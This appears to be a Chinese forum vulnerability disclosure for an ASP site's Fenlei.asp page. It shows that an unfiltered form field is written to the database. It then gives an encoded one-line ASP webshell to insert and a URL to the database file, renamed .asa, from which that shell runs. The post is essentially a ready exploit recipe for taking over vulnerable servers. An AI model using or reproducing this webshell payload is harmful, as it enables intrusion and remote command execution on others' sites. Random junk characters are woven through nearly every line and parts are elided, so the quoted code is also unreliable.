'Fenlei.asp
" u' x. }# _7 C$ n
8 p* w4 E1 D6 B i1 e+ DIF Request.QueryString("Action")="del" Then
% x- P6 z/ W- n% j) F) M) QID=Request.QueryString("ID") - k1 U6 G3 `$ g8 [: z* a r/ i2 ^
IF Countss ("tui","Fenlei",ID )<>0 then
2 R& H$ B& P. W* H/ P0 |6 j'略 & C: U ?) Y% c
IF Request.QueryString("Action")="Add" Then
& h S- X. `' aTname=Request.Form("Typename")
2 ?& {1 F( D3 t& |! HSet Rs=Server.CreateObject("adodb.Recordset")
! @, }, @. I, T; |Sql="Select * From Fenlei Order by id Desc "
! j$ g0 T1 \" n& R8 o' @" N; |Rs.Open Sql,Conn,1,3 1 y. D* z+ L: `- J
Rs.Addnew " N# G3 I* E# _6 c* `/ r! I
Rs("Typename")=Tname 0 s0 [3 F4 s: }9 A* J1 @9 A
'略 1 } ?9 c; v9 {
Set Rs=Server.CreateObject("adodb.Recordset")
3 h' r' J5 J, S. V) Q# YSql="Select * From Fenlei Order by id Desc "
. c9 W8 n9 @* T( c* MRs.Open Sql,Conn,1,1 0 B+ ^: O# `1 X
'略 8 f' Z V( I4 d2 l+ l
%>
- ]# ]5 H, I3 G" g5 t
- k4 u& h- l' Y1 G9 H. |0 a ) r: O7 ~# j( r6 D' Q
( v$ r1 Q- ^& n
没有过滤,直接写入数据库。! z( K. h" K" }" H- i, V4 G
# e8 D" Y7 I! @& u4 s0 J
利用方法:
$ y# @; T. P/ [6 y- a F - Q1 T Y3 W6 b8 v" Z2 U
插入:┼攠數畣整爠煥敵瑳∨≡┩>0 D5 \+ W! h0 X2 U" B) X7 G
& |: D' j4 g5 W; a; K6 w' u
7 k+ f8 {- @, H( ?! Z+ h, T连接: http://www.xxx.com/###tongbaner.asa 0 i N4 q, Z: Z
'默认安装文件: % G% l) A! S3 n5 v; ^- i1 T- ~
'install.asp
: @0 c* R( l/ N( b" `6 y |